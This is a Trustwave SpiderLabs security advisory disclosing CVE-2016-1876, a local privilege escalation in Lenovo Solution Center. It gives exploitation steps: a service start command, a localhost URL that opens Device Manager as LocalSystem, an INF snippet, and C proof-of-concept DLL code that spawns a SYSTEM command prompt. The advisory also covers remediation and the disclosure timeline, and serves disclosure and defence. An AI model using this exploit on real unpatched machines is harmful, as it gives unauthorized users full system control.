Trustwave SpiderLabs Security Advisory TWSL2016-009: Privilege Escalation Vulnerability in Lenovo Solution Center Published: 05/11/2016 Version: 1.0 Vendor: Lenovo (www.lenovo.com) Product: Lenovo Solution Center Version affected: prior to 3.3.0002 Product description: The Lenovo Solution Center is a new software application created by Lenovo for Think products. The software allows users to quickly identify the status for system health, network connections and overall system security. Finding 1: Privilege escalation via Lenovo Solution Center Credit: Martin Rakhmanov of Trustwave CVE: CVE-2016-1876 Unprivileged local users can exploit multiple issues in Lenovo Solution Center to achieve arbitrary code execution with highest privileges. 1. Login locally using unprivileged account on a computer having Lenovo Solution Center 2.8.006 installed. 2. Open up Command Prompt and launch the LSCWinService service via: sc start LSCWinService StartBackend Alternatively just launch Lenovo System Health and Diagnostics application via the Control Panel. 3. Open any Web browser and navigate to URL: http://localhost:55555/?v=1&controller=Actions&method=RunDeviceManeger Notice that Device Manager window appears. It is running as LocalSystem instead of current user. 4. Using Device Manager install new driver that will execute code of choice either in kernel or user mode. Kernel mode drivers must be signed by default and user-mode drivers run as LocalService account so to exploit this quickly one can create a UMDF dummy driver and place the following entries into the driver's INF file: ... [MyDevice_Install.NT] CopyFiles=UMDriverCopy RegisterDlls = POCRegSvr ... [POCRegSvr] -1,,Users\joe\Documents\mystique.dll, 1 C:\Users\joe\Documents\mystique.dll is a user-prepared DLL containing arbitrary code to be executed as LocalSystem. For example: #include __declspec(dllexport) HRESULT __stdcall DllRegisterServer(void) { PROCESS_INFORMATION pi; STARTUPINFO si; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.lpDesktop = "winsta0\\default"; CreateProcess(NULL, TEXT("cmd.exe"), NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); return S_OK; } Then in the Device Manager use "Add legacy hardware" function to select "Install the hardware that I manually select from a list (Advanced)", then "Show All Devices" and then "Have Disk". Point to the INF file location. Complete installation by agreeing to install non-verified driver software. Internally, DrvInst.exe running as LocalSystem will load mystique.dll and execute its DllRegisterServer export. For the minimal POC shown above there will be a pop-up asking to display a message from the driver. Click "View the message" to access Command Prompt running as LocalSystem. Remediation Steps: Upgrade to 3.3.0002 Lenovo Solution Center or the latest stable version. Revision History: 01/11/2016 - Vulnerability disclosed to vendor 04/26/2016 - Patch released by vendor 05/11/2016 - Advisory published References 1. https://support.lenovo.com/us/en/product_security/len_4326 About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.